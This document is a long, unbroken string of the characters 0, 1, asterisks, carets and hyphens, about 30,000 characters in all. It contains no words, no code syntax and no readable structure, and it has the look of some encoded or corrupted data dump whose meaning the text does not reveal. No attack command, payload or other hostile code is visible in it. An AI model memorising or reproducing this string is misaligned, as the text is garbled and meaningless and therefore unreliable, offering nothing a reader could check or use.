1*1101**01*01*******001*1^10101*0--101**0^1*--------01^-*-00^1101******-1*-00-*00^1^^1*****01**00--**^-*001*1*--------1101*1*-00101*001^1*01101**********1*********01**0101*101*01^11*00^110^1^110-11*1*011*1*0011**--------00^101*-00101*001^1*00-*0101*001101*--------0-0101*-00101*001^1*^1101********00^1011*00^1*^1********1^^1*001*11*001*1*01^1*11****001**-01101*01011********00110101********11011*********001^11********1101*1********1011011********010^1*********01^11********0-0011******************001011011********010^1********001*101*********11*0101*10101*001*1*********0^101*0-*101*01^1*001****01*****0--0^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--0-*001^1*001****01**0^110^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001***1*01*****01***-1****1***1^1^1*********-----10---0-11*-*01*001^1*11011010^11*1*^-01*0-11**1*01*1*01010^1*******00110110101010-0-*00--------^10-*-00^1101*****00^1*-^11**1*010^1^1*0-11*101*001*1*--------*001*00-*01*001^1*^1101*****00^10-101*01*00^1^^1*****01**010-**00^-*001*1*********10101*010-0010-01*011**1*0--------10-1*00-*01*001^1*0101*0-11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------0^101*0-*01*001^1*^110101*^1********^1^1*001*11*001*1*1*^110-110-11*011*001*1*1101*00101****1***01**010^11011******011**0011*101**--------1^-*0-*01*001^1*^110^--0-11*1*^1*-00-11*011*001*1*1101**101*--------1^-1*-0011011*--------0101*1*-*01*001^1*^1101******--110101101*001*010^1**********01*00^101*001*1*********10101*********1**0101*101*01^11*00^110^1^110-11*1*011*1*0011**--------*01101*-*01*001^1*1101*0-11*0101*001101*--------110-01*-*01*001^1*01011*01^1*11****001**01101101*01011********^11*********0011*1********101*1********0^-01********-0-********0^-01********0110101********00-**********11*1********************0011********-0-*********11*0101*1*1*001*1*********101*1*0-*001*01^1*001*******0-11010--0-*001^1*001****01**0^110^--0011*001^1*001****01**0-010^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**011*001*****01**0101101****1***1^1^1******0--------00-01*0-*10101*1^1*11****001**10101101*01011*****************************0-*********00-*********00-*********00101*00101*10-*001*1*-*001^1*01011*01010^--------0010-1*-*1101*--------0110101*0-001011*0^1*0-11**********1*0010-0010-01*011*-*00--------01^11*0-001011*00-1*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101****1**011*0--011011011******00-**11*-**11011******011**0011*101**--------0101*1*-001011*0^1101********01*0-*00^1*^1********0010-1*00^101*001*1*--------0010-1*-00^11*--------00^101*-001011*0^1101*****00--11*011**0^1^^1********-01011*001*01*001*1*********00101*********1**0101*101*01^11*00^110^-0110-11*1*0110101**01*00--------^^11*-001011*001101*0101*001101*********01*001********0011011*********1011*********1*001******************00^1101*********0^1*********11011********001*001********^1*********00101*0101*10^1*01011*011011*101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******-011********0^-1**0011***01^1^1*********-----10---^-*-*11*001^1*^1101********0-01011*00^1*^110^^-11*0101*01*1*01010^-*00-----10---0-11*-*11*001^1*^1*0-11*--------^10-*-00^1101*****00101*00-*11*001*010^11*-0-11*^1*01*1*--------00101**-*11*001^1*0101*0-11*********^1*010-^^110^101101*-*001*001*1*^1******00-01*00-011*00^1011******0011**010-11*001*01*001^1*********00-001*001*101**011010-01*011*00--------0-11*00-*11*001^1*^1101*****0010101011011***0^1^^1********11011011*001*001*01*1*1101*00101****1**0-0--11011011011******011**0011*101**---------1101*0-*11*001^1*01011*1101**01*01*********001010101*0--101**0^1*--------1^-1*-*1101*---------0-*0-*11*001^1*^1101*****00101010-11***0^1^^1********11011011*001*001*01*1*********10101*********1**0101*101*01^11*00^1101*1^10-11*1*011011**001*00--------10-001*-*11*001^1*^1101*****001011*00101011**^1^^1^10110-11**1*01*1*0101*001101*--------1*1101*-*11*001^1*^1101********01^1011*00^1*^^11*0-11*-*001*1*01^1*11****001**00101101*01011********101*11********101*11********001101**********1011********0-0011********-1*1******************001101*1*********1101*********011*********-1*1********0101011*********11*0101*^11*001*1*********-^1*0-*101*01^1*001****01*****0--0^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**001*001*****01**01*001***101***1^1^1*-----10----001*-001011*0^1*0-11*01010^1*******0011**1010-0-*00-----10--10-0101*-001011*0^1101*****00^1*110101101*00^1^^--010-11*001*001*1*--------1^-1*-001011*0-11*-----10--1011*11*-001011*0^1101********0011*01*00^1*^1*****01***11011**1*001*01*1*********00101*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00-----10--101010-*-001011*00101101010-*1*^1********-01101*001*11*001*1*1101*00101****1**001*1*0010^11011******011**0011*101**--------011**00-001011*00-*0-11*1101*00101*******0^^-1011011011******011**0011*101**--------01011**-001011*01101101011011*1*^^-*-11*-*001*1*1101*00101*******1010^-1011011011******011**0011*101**--------1^11*00-001011*00-*0-11*1101*00101******00-^11*10^11011******011**0011*101**---------*1*0-001011*00-*0-11*1101**101*--------1*1011*-00-01*---------01011*-00^1101010-110-11*1*^^-*-11*011*001*1*--------00^-*-*0011*--------01010-*-00^1101*****001010-*001101*001*010^-10-0-11*101*001*1*--------010-1*0-001011*011011*********010101********0010-*********-01*********-**********01*00101*101*01^11*00^110^1*010-11*1*011*1*0011**--------0-^1*-001011*0^1101******-01101*0011*00^1^^^110^-11*001*001*1*0101*001101*--------1*1101*-001011*010-*01^1*11****001**1^1101*01011********00101011*****01***001*********00101011********-0-********0--11*********001*******************01011**********^101********1011011*****001**0-01*********--11********1101*1*********-01*********-01********-1*0101*10^1*********0-^1*0-*001*01^1*001*******0-11010--0-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001*******-1*10--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**01**1*****01***00^1**0011***01^1^1*-----10--^1^11*-00101*001^1*0-1*01010^1*******0011**0010-0-*00-----10---011011*-00101*001^1*^1101******0-00-0011**01*010^1*****01**01*1011*00^^1*01*1*--------01^-*-00^110101*^-*110-11*011*001*1*1*^1*********0^1*001*11*001*1*--------11***-00101*001^1*10-**********1*010-^^110^101101010-*^1**01******001*1*0^-**1*011*******1**0--**^1011******001**011010101*001*101**011010-01*011*00--------010101*00-00101*001^1*^1101*-00--01********010--*00^1*011*1*001*^1010-00-11*001****01*****0--0010-00-11*001****01*****0--01*^1*****01**010-101*001*001*01*1*1*^-*010-11**1*01*1*1101*00101******0011***10^11011******011**0011*-**11011******00-**11*101**--------^1011*0-00101*001^1*^1101*****001*-1010-11*001*010^1********-0^1*00^-*001*1*1101**101*--------1^-1*-*1101*--------011*01*-00101*001^1*1101*0-11*********^1*********01**0101*101*01^11*00^110^-*0-11*1*011*1*00101*00--------*00101*-00101*001^1*^1101010-110-11*1*^1^11010-11*011*001*1*0101*001101*--------1*1101*-00101*001^1*^1101*-^-11*1*^1********010-01*001*11*001*1*01^1*11****001**0^1101*01011********^^1*********011*********^101********00^101********00^11011******************00^^1********00-0-******************00-1^1********1010-1*********0011*********11*0101*10101*001*1*********-^1*0-00^1*01^1*001*******010101010--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001****001*****01***-01***-***1^1^1*1*******0010101*011*001**0^1010110-101***0110-************1*1*****010101*11***************************************************************101*00101*^-*01*1*0-*01^1*01101***********0010-01101^1*********11*0010-0----------0-*-001*^1*01010-11*0011*01*1*--------1010101*0-00^1*01^1*11011**********1*0--00110101******0^-*0101******11**-*01*001******11**1*0-*001*001*0^1*0--------1^-*0-00^1*01^1*^1101*****00^10-001101**01*010^101011*1101*01*1*1011**011010-01*^1*0--------*1*1*-00^1*01^1*01011*0101*0110101******^101*00101******11***-**01******11**1011***^1*******0010^1*011*11*10-*011011**-**11*001101*0110101********11*101******1**0-0101**1******1**011*01**^^1**01*0--------00-101*-00^1*01^1*^1101******0^11011*001*001*010^1*****01**01010^1*001*101*01*1*1011*001101*0011*001**********01********************00^11*********0101*1********101^1********00101*1*******************1*11*******************^1*0101*10^1*01*1*^1*01^1*01101*--------010-*00-*11*001^1**11**********1**0-00--------1^-1*-*0-*--------101^1*0-*11*001^1*01011**********1*0^-001**00--1*11*001*001*1*---------1101*0-*11*001^1*^11*001*001^1*-01*--------1^-1*-00^11*--------*0-*0-*11*001^1*0101*0-11*********^1*0^-001**00--101101*001*001*1*--------11*001*-*11*001^1*0101101*011*1*^-110110-11*-*001*1*001*001^1**11*0101*0011****011**0011*1*101*^11*1*110101^-011*1*001*******************01101*01*0^-01*--------1^-1*-*-1*---------10101*-*11*001^1*^1*0-11*********^1*0^-001**00---101*001*001*1*--------01*011*-*11*001^1*00-*001*001^1*01101*********11*11*********^1*********10^1*********^1********001101*1********^-*********11*01********0-011********01101********************11*11********01101*0101*^11*001*1*011*001^1*-01*-*001^1*001****01*****0--*11*01^1*001****01**0-010^--01101*01^1*001*******-1*10--00101*01^1*001*******010101010--001101*01^1*********1***-001*1***001**0--1*****001**0-^11**00101***1^11011*********01010^110101******1*1**101******11**-1011**1******11**--1**^11**011*00---------101*00-001011*0^1101*****001^1^110-11*001*010^101*010-11*011*001*1*--------**1*0-001011*01101*0-11*---------10-*-001101101010-*1*^101011*001*001*1*--------1^101*0-001011*0^1101******-01010110-**^1^^1*****01***110101*00^101*001*1*********00101*^-001**00--1*11*-*00--------*0-*0-001011*00101*0-11*1101*0-01*--------1^-1*-*101*0-11*--------1**1*-001011*0-01*********-*00^-001**00--101101*-*00--------1*^1*-001011**011*1101**011*0101*00101****1**010-^1^-001**--------01010-*-00^1101********011*001*00^1*^1^11010-11*001*001*1*--------1*1101*-001011*010-*********-*00^-001**00---101*-*00--------1*0011*-001011*00-1*1101*001101*********1101^1********0101101********001*001********0101*1********^101********00^1*********************0101*********00101********0^-**********101********001*001********0011*0101*10^1*01011*011011*011*001^1*001*******-1*10--0101*001^1*001****01**0^110^--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**00--*****001**01*****101***1^1^1*01010^110101******1*1**101******01**110^1**1******01**1101101**1*1**011*00--------^101*00-001011**-*--------*011*00-001011*001011*--------0010-1*-00-01*--------10-1*00-001011*0^1101********010^101*00^1*^-110^-11*101*001*1*********1*1*^-001**00--1*11*-*00---------0101*0-001011*0^1*0-11*1101*0-01*--------1^-1*-00^1*0-11*--------*1011*0-001011*00-1*********-*00^-001**00--101101*-*00--------*-1*0-001011*0^1101******01^1010101**001*010^1*****01**010^1**01*01*001*1*1101**011*0101*00101****1***-^1^-0--------0010-1*-*0011*--------0101^1*-001011*0^1101********0^^11*00^1*^11*1*-11*101*001*1*********1*1*^-001**00---101*-*00--------00101101*-001011*0^1101*****00^1101*101011*001*010^1*****001***011**01*01*001*1*1101*001101*********1^^1********^1011********01^-********0^1011********001**********01101*********011011********001*0101*******************^101********00101^1*******************011*0101*10^1*01011*001101*101*001^1*001****01*****0--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001**010-11*****001*******00101***1^1^1*********--------***00-*01*001^1*^1101*****00^10-1*11**01*010^1********01^101*00^-*001*1*01010^1*****1**01***10-0-*00--------1^-1*-0010-*--------01*1*00-*01*001^1*00-**********1*0010-0010-01*011**1*0--------0^11*00-*01*001^1*^1101011011*-11*1*^^-*011*001*1*0011**01101*01**1**011*00101101010^1*01**101**01101*-00--01*********-101*001**011011**1*^1********00-001*001*01*******0-11010--*********-001*001*01*******0-11010--0-01*011*00--------0101011*0-*01*001^1*-01*1101*00101****01****00-1011011011******011**0011*101**--------0--*0-*01*001^1*^1101********001*-*00^1*^1^-10-11*101*001*1*1101**101*--------1^-1*-*-1*--------*1^1*-*01*001^1**11**********1*********01**0101*101*01^11*00^110^1*010-11*1*011011**001*00--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*^11*01^1*11****001**0-0101*01011*****************************0-1101********0110^1*********011*********10110101********-1101*********101101********0-*********0-011********00-1101********0-0^1********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001***-11*****001**01*01***0-***1^1^1*********-----10--110^-*-*01*001^1*01011*01010^11011******0-11*1010-0-*00--------*^11*-00^1101*-00--01********0110-01*001**0110101*001*^1**********11*001*01****01**001**0--**********011*001*01****01**001**0--01*^1********001*11*001*11*001*1*1*^1*^10-11*011*001*1*--------10^1*00-*01*001^1*^110101*^1101*10-11*101*001*1*1*^1*****01***110101*00^101*001*1*********10101*010-0010-01*011**1*0--------01*01*0-*01*001^1**11*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------0110101*0-*01*001^1*0-1*1101*00101****1**01^1*-1011011011******011**0011*-**11011******00-**11*101**--------*0-*0-*01*001^1*0-1*1101**101*---------10-*-001*^1*01010-11*011*001*1*--------001*01*-*01*001^1*0101101011011*1*^--*-11*101*001*1*********0-*********01**0101*101*01^11*00^11010-01^-11*1*0110101**01*00--------11*101*-*01*001^1*^1101********0-0^1*00^1*^1*****01**0-^11*00^101*001*1*0101*001101*--------010-01*-*01*001^1*1101*0-11*01^1*11****001**10110101*01011********-1*********0^1101*******************1^-*********-011********^1101*********-011********01^1********0010101011********-*01********10101011********-^1*********11*0101*1*1*001*1*********011*1*0-*11*001^1*001****01**0-010^--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1******011*101*****01**0101011***0-***1^1^1***00-----10--11*0-*-00101*001^1*^1*0-11*01010^1*******0011**1010-0-*00---------10-*-001*^-1*10-11*^1*01*1*-----10---0-11*-00101*001^1*-01**********1*0--00^11010^1*0110110^1011**1*********01010-1*00^1011*********010101011*001*011******0011**00101011*001*101**011010-01*011*00--------01*1*00-00101*001^1*^1101********0^^11*00^1*^1^10^-11**1*01*1*1101*00101****1**01*1011*10^11011******011**0011*101**--------**1*0-00101*001^1*^1101*********1*11*00^1*^1101*10-11*^1*01*1*1101*00101****1**00101^1*10^11011******011**0011*101**--------0-101*0-00101*001^1*^1101********00^1011*00^1*^101101010-11**1*01*1*1101**101*--------00110-*-*101*0-11*--------1^-1*-0010-*----------1*0-00101*001^1*1*^1********-01101*001*001*01*1*********10101*********-1*********001**101*101*01^11*00^110101101*0-11*1*011*1*0011**--------11*101*-00101*001^1*1*^^1*10-11*-*001*1*0101*001101*--------1*1101*-00101*001^1*^1101******0^1101101011**1*010^-010^-11*011*001*1*01^1*11****001**00110101*01011********-00101********^1*1********01^1********00-00101********1101011********0-00101******************00-11011*********11011********-0101*********011011*********11*********0011*0101*10101*001*1*********-^1*0-00^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0110-1*****001**0-*1***001***1^1^1***00--------01^11*0-*10101*1^1*11****001**11010101*01011********-*******************************-*********00-*********00101*00101*1*01*01*1**1*01^1*^11*01010^--------1^-1*-*0011*--------01*11*0-*01*001^1*0-1**********1*0--00^1101*01*0110110^1011*-**1^^-11*0011*0-01*1101**********01^1*001*101**011010-01*011**101****1**011010--1011011011******011**0011*101**--------1011*1*-*01*001^1*^110101^1^-11*1*^1*****01**00-^1*00^101*001*1*--------01010-*-00^110^1101*1*^1*****01**0-0^1*001*11*001*1*--------0-0101*-*01*001^1*1*^-010^-11*101*001*1*********0011*********01**0101*101*01^11*00^1101010110^-11*1*011*1*0011**--------110^11*-*01*001^1**11*0101*001101*********^-1********010-01********01^101*******************011011********001^101********00101**********0^1*********0^1********0^1*0101*1*1*001*1*001*001^1*11011*011*001^1*001*******0-11010--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******00-1*********-00-***01***1^1^1*--------1011**0-*01*001^1*10-*01010^1*******00-01^1010-0-*00--------00-**-*01*001^1*10-*--------0^-1*-*101*0-11*--------110101*00-*01*001^1*^1101******0-11*10-**1*010^1********010-11*00^-*001*1*********10101*^-0010-01*011**1101*01*00101101010^1*001**11**0-00-11*0101**011010-01*011*00--------1^101*0-*01*001^1*^1101********01101*1*00^1*^1********-10-*001*11*001*1*1101*00101*******11*1*010^11011******011**0011*101**--------0010-*0-*01*001^1*1101*0-11*1101*00101*******010^1*101*1*******011011**010---------^-1*-*0011*--------0-*1*-*01*001^1*^1101******-01*1011011*001*010^1*01010-11*101*001*1*********0^1*********1**0101*101*01^11*00^1101010110110-11*1*011*1*0011**--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*11011*01^1*11****001**01010101*01011********0110-********010110101********10^101********1*001*********011*********010-1********00-*********010^101******************001010101*********101101********0110-*********11*0101*1*1*001*1*********101*1*0-00-*001^1*001*******010101010--0011*001^1*001*******0-11010--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0010-1*****001***101***0011***01^1^1*--------01101**-*01*001^1*^11010^-00-11*1*^1*****01***10^1*001*11*001*1*01010^1*******0011**1010-0-*00--------^10-*-00^11010--00-11*1*^1*****01**0-11011*001*11*001*1*----------*00-*01*001^1*10-**********1*0010-0010-01*011**1*0---------^1*0-*01*001^1*01101*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------11*11*0-*01*001^1*^11*1101*00101****1**00^1101*10^11011******011**0011*-**11011******00-**11*101**--------10-11*0-*01*001^1*^11*1101**101*--------0^-1*-*101*0-11*--------0-*1*-*01*001^1*^110^1*110-11*1*^1********--01*00^101*001*1*********0^1*********1**0101*101*01^11*00^1101010-^-11*1*011*1*00101*00--------1*1101*-*01*001^1**11*0101*001101*--------110-01*-*01*001^1*01011*01^1*11****001**^10101*01011********1*0101********001^1*********1*1********001*01********00101^1*********11*********01^11********00-*********001^11*********011********************10-1*********11*0101*1*1*001*1*********101*1*0-*11*001^1*001*******0-11010--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1******011*101*****01***1****011***01^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11******010101*101******00^101*00101*11****001**10^101*101*1**011*******001011*00101******11***011**01******11**101101**0^--------1^-*0-*011*0-01*--------010-1*0-*011**-*---------00-*-00^1101******00^1010101101*00^1^^1********11*001*001*01*001*1*--------0010^1*-*011*00-1*********-*00^-001**00---101*011*00--------00^101*-*011*001011010^11*1*^11*0110-11*^1*00101*0-01*--------1^-1*-00^1*0-11*--------^-01*-*011*011011*********-*00^-001**00--101101*011*00--------^^11*-*011*0^11*0101*001101*********0-01********001*101*******************-1101**********1********001*101*********01101*******************^1*********0^1*********00101*0101*1*01**11*010-*001*001^1*001****01**0^110^--01011**1****01**001**0--001101*01^1*********1***-001*1******00101*********00-1101**0011***01^1^1****10101*01*******1^-110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1^--0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******0^-110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0^--0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*01*******1*-1**0-0101******-1*1*101******11**010-11*001******11***-01*001*11****011**1*-*0101*-**^^1101010-1^1**1*1101*******************001011*01*01***001101*01^1*********1***-*11*11010101*101******0011*01*0101*1*****1101*01^1*********1***-*-1^1*******0010101*********1011******001**011010101*****01**0-1101*********1^1*****************************00110^1*****001**01101101*********001101********11010101********01********101^1*00^10101*001*0-----110--00-001*-00--------01011**-00-1*01^1*10-*--------^10-*-00^110101*^1*10^-11*1011*01*1*1*^10-0110-11*1011*01*1*--------0^11*00-00-1*01^1*^1101******00101*0101**001*010^10110-0-11**01*1*1*********0^1*^-001**00--1^11*101*001*1*--------0-001*0-00-1*01^1*0-1*101*001^1*-01*--------1^-1*-*-1*---------1101*0-00-1*01^1*0011*0-11*********^1*0^-001**00--101101*101*001*1*--------0^-*0-00-1*01^1*00-*101*001^1**11*0101*00101****01**11010^1^-0--------01^-*-00^1101******1**-1^1*001*010^1*****01**0110^1**1**1*1*1*--------0110^1*-00-1*01^1*^1*0-11*********^1*0^-001**00---101*101*001*1*--------^10101*-00-1*01^1*^1101******00110^11***01*010^--*-11*0101*01*1*101*001^1*^11*010101*101****01**00110^-101^11**********011011********011010101********-**********1*01********0-0-*********001101********1^101*******************11*101********1^101*********-*********01*01********0-*********001011*0101*10-1*01*1*-1*01^1*11011*********0-0-10-01^11*01*******0011**1011*101101*01^1********001011*010-01^-0110101******001^^-11011*1*001*1*--------1^-1*-0011011*--------011*11*-*011*01^1*1*^--*-11*1011*01*1*********0011*0^-*01*001*1*001*001^1*1*******0010101^1010-0^1**********0101*****************************************001*********01*01*********11*00101*1*11*01*1*0011*01^1*^11*********110^1010-0---------0010-*-00^1101*****001*010110101101*001*010^1*00110-11*0101*01*1*--------*1011*0-00^1*01^1*-01**********1*0010-*101****1****^-10110^1*00101****01**10110^-10110110101******0-101*0101******11**00-**001******11**0-01**01*11****001***1^1*101*1011*01*11011**10-00^-**001*0101*110101******001^1*0101******01**10--*001******01**10101011*00^110101*******-*00101******01**110^1**1******01**-0-**^-01*110101******-*1*0101******11**0110-**1******11**-1011**^-**1**011*001101*01*******00-1101^10-00101****1**0-11*-10110^1*********010-01*0-********00101**********1*11********01*1*******************00101*01********101*01********01*11********0-*00101*10^1*01*1*^1*01^1*^11*1011*0110101******0-^1*101******01**0^^1*001******01***^11*00^110101******1*001*0101******11***11011*001******11**-11011*00^110101******1*0101*101******1**01010101**1******1**01^1**00^110101******0-*1*101******1**001*011*001******1***1^11*001*11****011**10-001*10^1101**-1**^^101101*001*0101*10-**01*-11*01**0101****1**01^^-00-0011****011**10-001*10^1101**-^1^^10101101**1*0101*00-*-01*-11******01**0011*-00-001**00--1*11*101*001*1******001**-1101*0-00101*001^1*01101********************001*********011***********1**********01*********0101*00101*10-*001*1*-*001^1*01011*0101*01^1*001*******-1*10--01011*01^1*001*******0-11010--*001*1^1*001*******010101010--001101*01^1*********1***-001*1***001**0^-1******1***10101**00-***1^11011*1*******0010101*^1*01**0-0011011010^1***-1************001*1**********001010^-*001*1*-----^--0101011*0-00-----110--0^-*0-*^1*1^1*^1101010110110-11*1*^1********1*0011*001*-*01*1*---------10-*-001*^10-1^-11*1011*01*1*-----110--0-*1*-*^1*1^1*^1101*1*10-11*1*^-0^10-11*00101*1*1*********-1*0^-001**00--^-*0101*01*1*-----110---00101*-*^1*1^1*^1101*******10110^^1*00^1^^1********00-011*001*1101*1*1*0101*01^1*-01*--------0^-1*-*011*0-11*-----110--011*11*-*^1*1^1*^1101******-1*0^1011*00^1^^1*****01**00--**1*1101*1*1*********10101*^-001**00--101101*0101*01*1*-----110--10^-*-*^1*1^1*^1101*****0011011*10^101*001*010^1^11*-11*1^1*1*1*0101*01^1*11011*010101*11*00--------0^-1*-001011*0-11*-----10---***-*^1*1^1*0101*0-11*********^1*0^-001**00--101011*0101*01*1*-----10--101101**-*^1*1^1*^11*0101*01^1**11*0101*00101****01**11010^1^-0--------1^-1*-00^11*-----10--1101101*00-*^1*1^1*0-1**********1*0^-001**00---101*0101*01*1*-----10----1*00-*^1*1^1*10101*-11*0101*01^1*01011*-----10---0^1*0-*^1*1^1*^110^1^^-11*1*^1********1101*1*001*-*01*1*-----110--010^-0-1*1101*^101^-*1*1*0--------0^-1*-0010101*-11*-----10--11011011*0-*^1*1^1*^1101******01^1^-11**1*010^1*****01***11*1*00^10101*1*1*********10101*^-001**00--1^11*0101*01*1*-----10--^11*1*-*^1*1^1*10-*0101*01^1*00-*010101*11*00-----10--1^1^1*-*^1*1^1*1^1*-11*-----10--101011*--00^101^-*1*1*01*1*^1*01*1*-----10--110110101*-*^1*1^1*0^1*-11*^1*01^1**11010-01*^1*01*1*--------0^-1*-00^11*-11*-----10---*011*-*^1*1^1*01101**********1*00-1^^11010-01*011****001**01010110-10110-*00101*001*1*-----10--101011011*-*^1*1^1*00101*-11*101*001^1**11010-01*101*001*1*0101****01**10110^-101^11*001*1*011*00--------0^-1*-**1*-11*-----10--1*-11*-*^1*1^1*1*^-010^-11*00101*1*1*********0011*0010-00110101******010-1*0101******1***-11**1******1**0-0101**1*11*001*1*011*001^1*011****001**10110110-101^11*******011**0010^^11*-*001011010101*0--11**01********001**1*00^101*001*1*-*00--------001011*00-*^1*1^1*00101*-11*101*001^1*01101*--------**1*0-*^1*1^1*01011*-11*-*001^1*011*00--------01^-*-00^1101******10^^1^11**1*010^1********00110101*00^1^1*1*1*---------1101*0-*^1*1^1*-01**********1*0010-*11****001**1*-0-101^11****001***1^1*101*1101*01*11011**-1^10110-1*001*0101*-**1^1*11****001**11010110-10110-*******1**0011*11*****001**1^1******001***11*********1*101*****001**0-11******001**1*******001**01101*1*****01**0011*1********011010101********00110-*********11011*****01**0-1011*********-001********0-0-*****01**0010-******1****101*****01**00-1011********0010^1*****01**0^1*1****************1**00-101********0^-11******************00101*1*********10^1*****01**0-1011*****001**0010-********00^-********00^^11********10-*101*^^1*1*1*0^1*1^1*00-******001**0110^110-0-11*001^1*011**1^1********00^1*010-0-101*0011****001**01^1101^-*1*001*1**************************************************************0101*00101*1*001*1*1**01*1^1*^11******01**0110-10^-00110101******-01101*101******11***0-**1******11**01101**001*01*001*1*---------1**0-*011*01^1*1*^1********-01101*001*-*01*1*001*001^1*110101******0-*1*101******01**01*01**1******01**001^1**1*11****011**0011*1*101*^11*1*11*1^110-1**001*******************0-*001*0^^11*^1*01011*00101^1^1*01*1**1*01*1******01**011011011*-00^1*01^1*01101**1*01^1**1*0--------1010101*0-*011*01^1*11011******001**-1*0^-001**00---011*0101*01*1*---------0011*0-*011*01^1*1*^11*-0-11*1011*01*1*0101*01^1*^11*--------0110-*0-*011*01^1*0101*0-11*0011*0011****001***00101*10^110101******0-*1*101******11**01101101*001******11***-01*001*11****011**0011*1*101*^11*1*11*1^11*101**01*******************00101*01*0^11011*001*******1*-10--0--------1^-1*-*1101*--------1^1101*-*011*01^1*-01**********1*0^-001**00--1*11*0101*01*1******011**1*^1*-*101*01^1*01101*********-0101********************1**********01*********00-001*********0-1********001^11********011*001********0-1101*********001*********1^11********01101*0101*1*11*01*1*0011*01^1*^1*0-11*0-*01^1*001****01*****0--01011*01^1*001****01**0-010^--001101*1^1*001****01**0^110^--010101*1^1*001*******010101010--*101*1^1*001****01**001**0--01^1*1^1*001*******-1*10--001101*01^1*********1***-001*1***001***0-1******01*00^1****011***1^11011******0010101*11*00-----10--101*101*-*01*001^1*-01*-----10--101010101*-*01*001^1*^110^^1^-11*1*^1********001*11*001*001*01*1*--------^10-*-00^110101^1010-11*1*^1********0110^1*001*001*01*1*-----10--^1^11*-*01*001^1*1011*0-11*********^1*0^-001**00--1^11**1*0-----10--10-1011*-*01*001^1*^1101*101*-11*1*^1********11*101*001*001*01*1*0011*0-01*--------0^-1*-*101*0-11*-----10--1^-11*-*01*001^1*01101**********1*0^-001**00--101101**1*0--------0101**0-*01*001^1*^1101*****0010^^1^-**1*010^1*********1*1*001*11*001*1*0011**011*0101*00101****01**10^^1^-0--------1^-1*-0010-*--------101101*00-*01*001^1*^1101*011*1*^-110110-11*-*001*1*********0-*0^-001**00---101**1*0--------001*1*0-*01*001^1*0011*0-11*0011*0^11*---------^1*0-*01*001^1*00-*0101****01**00^^-10110-**11****001**01^10-1101^11****001**-1^1*10^-**11****001**00^10-1101^11****001***1^1*10^^11*01*11011**-1^-0-11*001*0101*-*001101*0011****001***1010-00-0011*00--------0^-1*-*011*0-11*--------*1*1*-*01*001^1*^1101******^11*1^-*001*010^1********101*01*001*11*001*1*********10101*^-001**00--1*11**1*0--------01^101*-*01*001^1*^1101******-101*101101*001*010^1*****01**001*-*00^101*001*1*0011*001101*********0110^1*****01**01**********0^-1*****001**011011*********-11011********1^1101*****01**01^1*********1^1101********0-011*********-001********00-1*******************00110^1********-01*********110^11********-1*0101*1*1*001*1*001*001^1*^11**1*01^1*001****01**0-010^--0-*001^1*001****01*****0--0011*001^1*001*******-1*10--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001**0-0-*****001**0011*01***11***1^1^1*010101*1^1*11****001**10-001*01011010101*01*******10110-**0-011******01***10-0011**01*******-10-**011*******0011**1011*10-0110-11*10-001*****01*11*001101**^-01*11011******01***10-0011*00--------01*01*0-*011*011011*10-001*****0110101*1101011*001*1011*11011******01***10-0011*0010-001*****0^10^110^1**1*1101*11011******01**01010-0011*00--------11*11*0-*011*010-*10-001*****0--0010-11**1*0011*11011******01**01010-0011*0010-001*****01*1*110^1**^10-*11011******01***10-0011*00--------001*01*-*011*0^11*10-001******01*011*011*001*0-*11011******01***10-0011*0010-001******-**-11*00^^11*11011******01***10-0011*00--------10^101*-*011**011*10-001*****001*^^11**00^11011*11011******01***10-0011**101*01*******0010^^1011*10-1*001*******0-0-**010101******00101^1*0101*01********0-1*010-0^^1*******0010^^1011*1*****0-**10-1**1********00-0-********0-0-*********01^1********00-101********0110101********0101011*********001^1*******************001*0101*1*01**11*001101****1101*01^1*********1***-001*1***001**00110-*********10-1***01***1^1^1******0--------11011**-*01*001^1*^110^11*10-11*1*^1********-0-1*00^-*001*1*01010^1*******0011**0010-0-*00--------1^-1*-0011011*--------010-*00-*01*001^1**11**********1*0010-0010-01*011**1*0--------010^1*0-*01*001^1*^1101********00-1011*00^1*^1*********0^1*001*11*001*1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------1101011*0-*01*001^1*00-*1101*00101*******0-**101*1**--------010-1*0-*01*001^1*^1101*****001101*010101**00^1^^1*****01**0-0^1*00^101*001*1*1101**101*--------1^-1*-*1101*---------0^1*-*01*001^1*^11**********1*********01**0101*101*01^11*00^110^^-0-11*1*011011**001*00--------*01101*-*01*001^1*11011*0101*001101*--------010-01*-*01*001^1*0101*0-11*01^1*11****001**00-001*01011*********-********00-1********************0